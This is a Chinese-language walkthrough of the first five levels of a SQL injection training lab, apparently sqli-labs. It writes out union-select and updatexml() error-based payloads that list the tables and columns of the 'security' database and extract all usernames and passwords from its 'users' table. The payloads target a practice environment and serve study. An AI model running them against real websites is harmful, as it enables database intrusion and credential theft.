第一题.
首先,我们需要了解我们需要获取表中所有人的用户名和密码,
我们先随便输入一个id=1;
可以正常输出一个界面
下一步我们需要知道,我们执行语句时的类型是啥,我们可以输入
?id=1 and 1=1--+ 判断
正常输出;
输入 ?id=1 and 1=2--+ 按道理来说如果是整型,应该是无法输出东西的,因为1=2始终不成立.而如果是字符型 ,就还是可以正常输出!
由此可见,是字符型,所以后续的sql注入需要闭合,
第三步,找到表有多少列使用order by
可以判断,该表有3列.
现在,我们就可以搞一些具体的操作了,比如判断使用的什么数据库,所有表的名称,最终输出整个表
?id=-1' union select 1,2,database()--+
记下库的名称为security.
接下来看有哪些表
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+ 其中需要变化的就是最后的库名.
一般情况,我认为我们需要每个表都去看一看,但是这儿有一个users的表,我们把列名都搞出来
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
我们只需要查看用户名和密码:
/?id=-1' union select 1,2,group_concat(username,password) from security.users --+
第一题就结束了.
第二题.
主要区别就是在注入类型上是整型,所以不需要闭合,其余一致
第三题.
当我们去尝试使用id=1'时,出现了一个括号')',可以合理推断源码可能为 ('$id')
确定闭合条件后,区域步骤同样是上述步骤,先找列数,可以获得同样是3列,同样是security库,users表里的内容也一致,同样group_concat(username,password) from users
第四题
同样先看类型:
当输入id=1"时出现错误,
可以由此判断,他是("$id")的类型,
所以闭合为"),其余一样(已验证).
第五题
通过输入id=1',报错的提示,可以得到就是 '闭合.
但是,我们无法得到显示位的东西,因为他们不输出表的数据
这时候我们需要使用updatexml()报错注入,
当使用其爆破 表 时, /?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() ),0x7e),1)--+
出现 通过搜索知道,需要limit函数的加入,?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)--+ 通过替换0到1,到2,一直到输入不出东西了位置,出现
然后找到列名/?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),0x7e),1)--+改变limit可变的地方获得列名,有id,username,password
最后一个一个的输入?id=1' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)--+改变limit需要改变的地方,获取所有信息
(其中一个,找密码,只需要将username改为password) .